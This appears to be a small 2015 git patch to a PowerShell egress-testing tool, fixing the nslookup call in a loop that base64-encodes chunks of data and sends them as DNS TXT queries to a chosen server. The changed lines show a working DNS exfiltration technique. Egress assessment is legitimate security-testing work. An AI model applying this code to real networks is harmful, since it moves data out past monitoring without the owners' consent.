From ce2be66dc2a158beae4e3de1cb01c06a41c1065c Mon Sep 17 00:00:00 2001 From: rvrsh3ll Date: Sun, 6 Dec 2015 20:34:17 -0500 Subject: [PATCH] Minor fix for DNSTXT --- EgressAssess.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/EgressAssess.ps1 b/EgressAssess.ps1 index 8e87617..d349853 100644 --- a/EgressAssess.ps1 +++ b/EgressAssess.ps1 @@ -1629,7 +1629,7 @@ function Invoke-EgressAssess $DataToSend = $DNSData.Substring($ByteReader, $DefaultLength) $DataBytes = [System.Text.Encoding]::UTF8.GetBytes($DataToSend) $EncodedData = [System.Convert]::ToBase64String($DataBytes) - Invoke-Expression "nslookup.exe -type=txt -norecurse -retry=1 -timeout=1 $EncodedData.$IP $IP 2>&1" | Out-Null + Invoke-Expression "nslookup.exe -type=txt -norecurse -retry=1 -timeout=1 $EncodedData.$IP 2>&1" | Out-Null Write-Verbose "[*] Sending data .... $PacketNumber/$TotalPackets" $PacketNumber += 1 $ByteReader += $DefaultLength